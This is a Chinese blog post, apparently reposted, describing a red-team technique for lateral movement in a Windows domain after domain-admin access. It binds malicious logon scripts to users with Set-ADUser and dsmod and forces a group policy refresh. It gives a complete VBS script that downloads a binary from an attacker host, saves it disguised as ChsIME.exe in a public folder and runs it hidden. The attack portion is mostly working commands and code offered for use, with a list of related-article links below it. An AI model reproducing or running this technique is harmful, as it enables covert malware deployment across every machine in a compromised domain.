登录脚本下发

蔚落 2024-03-31 16:25 38阅读 0赞

0x1、利用场景

当获取到域控权限或domain admin等高权限时，想横向到域内PC主机上对方开启了防火墙，无法通过445、135进行横向利用，可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带，获取当前域用户信息

Get-ADUser -Filter \* -Properties \* | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\\Users\\Public\\Documents\\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"

strHDLocation = "C:\\Users\\Public\\Documents\\ChsIME.exe"

Set objXMLHTTP = CreateObject( "MSXML2.XMLHTTP" )

objXMLHTTP.open "GET" , strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject( "ADODB.Stream" )

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0'Set the stream position to the start

Set objFSO = Createobject( "Scripting.FileSystemObject" )

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

strComputer = "."

set ws=wscript.createobject( "wscript.shell" )

val=ws.run ( "C:\\Users\\Public\\Documents\\ChsIME.exe" ,0)

上传至dc c:\\windows\\SYSVOL\\sysvol\\redteam.com\\SCRIPTS\\目录下，通过方法一或方法二进行绑定后刷新组策略即可

[https://www.cnblogs.com/websecyw/p/16657762.html][https_www.cnblogs.com_websecyw_p_16657762.html]

[https_www.cnblogs.com_websecyw_p_16657762.html]: https://www.cnblogs.com/websecyw/p/16657762.html

发表评论取消回复

表情：

评论列表（有 0 条评论，38人围观）

还没有评论，来说两句吧...

相关阅读

相关 ansible的安装和密钥下发

ansible集合了众多优秀运维工具（Puppet、Cfengine、Chef、Func、Fabric）的优点，实现了批量系统配置、批量程序部署、批量运行命令等命令等...

左手的ㄟ右手/ 2024年04月18日 16:33/ 0 赞/ 67 阅读

相关登录脚本下发

0x1、利用场景当获取到域控权限或domain admin等高权限时，想横向到域内PC主机上对方开启了防火墙，无法通过445、135进行横向利用，可以通过登录脚本绑定的方式

蔚落/ 2024年03月31日 16:25/ 0 赞/ 39 阅读

相关编写一个登录系统脚本

如果你想编写一个登录系统脚本，首先需要确定使用的编程语言。根据你的需求，可以使用不同的语言，如 Python、Java、C++ 等。这是一份使用 Python 编写的简单登

青旅半醒/ 2024年03月25日 07:38/ 0 赞/ 83 阅读

相关云端下发指令：企业服务器下发指令到物联网设备

有兴趣了解企业服务器通过 AMQP 接入物联网平台的可以看我上一篇文章，下面说一下企业服务器下发指令到物联网设备，修改设备属性一、创建产品与设备还不清楚的查看下面文

清疚/ 2023年10月05日 08:53/ 0 赞/ 47 阅读

相关 jmeter录制脚本(JMETER录制脚本登录失败但后面脚本运行成功)

求按键精灵.刷撞神的脚本...我用按键精灵不能录制脚本..进去后? LZ到我共享去下载一下按键精灵和减威望脚本全部放到桌面打开按键精灵之后点下上面的神盾然后

小鱼儿/ 2023年09月26日 15:04/ 0 赞/ 136 阅读

相关 OpenVSwitch下发安全组流表

安全组 1、安全组是一种虚拟防火墙，具备有状态的数据包过滤功能，用于设置云服务器、负载均衡、数据库等实例的网络访问控制，是重要的网络安全隔离手段。您可以通过配置安全

港控/mmm°/ 2022年12月25日 06:52/ 0 赞/ 71 阅读

相关 linux自动登录脚本

!/usr/bin/expect -f set host 10.1.2.3 set user root set password 123456

客官°小女子只卖身不卖艺/ 2022年05月22日 03:56/ 0 赞/ 233 阅读

相关 ssh脚本自动登录

ssh脚本登录 1.什么是ssh指纹使用 /etc/ssh/ssh_host_rsa_key.pub 公钥加密生成的字符串，用来校验或验证连接的远程主

àì夳堔傛蜴生んèń/ 2022年02月27日 13:18/ 0 赞/ 370 阅读

相关 ansible的安装和密钥下发

ansible集合了众多优秀运维工具（Puppet、Cfengine、Chef、Func、Fabric）的优点，实现了批量系统配置、批量程序部署、批量运行命令等命令等功能。an

亦凉/ 2022年02月15日 00:09/ 0 赞/ 400 阅读

相关人人网自动登录脚本_python

import urllib,urllib2,cookielib from BeautifulSoup import BeautifulSoup myCo

阳光穿透心脏的1/2处/ 2021年11月23日 15:06/ 0 赞/ 275 阅读